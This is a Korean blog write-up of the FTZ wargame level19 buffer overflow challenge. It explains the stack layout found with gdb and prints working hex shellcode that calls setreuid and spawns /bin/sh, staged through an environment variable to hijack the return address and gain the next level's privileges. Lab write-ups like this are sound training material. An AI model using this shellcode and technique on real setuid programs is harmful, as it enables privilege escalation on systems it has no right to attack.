FTZ level19 Write-Up
FTZ level19 풀어보자.
다시 bof 문제가 나왔다. 그런데 이전 bof 문제들과 다른 점은 setreuid 함수가 없는 것이다. 따라서 setreuid 함수가 포함된 shellcode를 환경변수로 등록하여 ret를 변조하면 된다.
먼저 attackme 파일을 /home/level19/tmp/ 디렉터리에 복사한 후 gdb로 main 함수의 어셈블리어 코드를 확인해보자.
gets 함수를 호출하기 전에 ebp-0x28 주소를 eax 레지스터에 저장하는데, 이 곳이 바로 buf 변수의 시작점이다.
따라서 스택 구조는 위와 같이 형성된다. buf 변수부터 ebp까지의 크기는 44bytes이다.
먼저 환경변수로 shellcode를 입력하자. 사용한 shellcode는 다음과 같다.
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80
shellcode 앞에 "\x90" nop 6bytes를 입력하였는데, 이 것은 shellcode가 다른 opcode와 섞이지 않도록 분리하기 위함이다. 환경변수로 입력된 shellcode의 주소를 알아내는 방법은 다음 링크를 참고하면 된다.
참고 링크: https://jade9reen.tistory.com/48
리눅스 환경에서 환경변수로 저장한 shellcode 주소 알아내기
bof 문제를 풀다보면 스택에 ASLR이 걸려있어 스택에 shellcode를 입력할 경우 shellcode의 주소를 정확히 알아내기 매우 어렵다. 이럴 때 환경변수에 shellcode를 저장해두고 getenv 함수로 shellcode의 주소를..
jade9reen.tistory.com
그 다음 임의의 값 "\x90"을 44개 입력하여 ebp까지 변조시키고 shellcode의 주소를 입력하면 ret는 변조되어 level20 계정의 권한으로 setreuid 함수를 호출한 후 쉘이 실행될 것이다. 그리고 my-pass 명령어로 level20 계정의 password를 확인할 수 있다.
'Wargame > FTZ' 카테고리의 다른 글
FTZ level20 Write-Up (0) | 2019.07.24 |
---|---|
FTZ level18 Write-Up (0) | 2019.07.24 |
FTZ level17 Write-Up (0) | 2019.07.24 |
FTZ level16 Write-Up (0) | 2019.07.24 |
FTZ level15 Write-Up (0) | 2019.07.24 |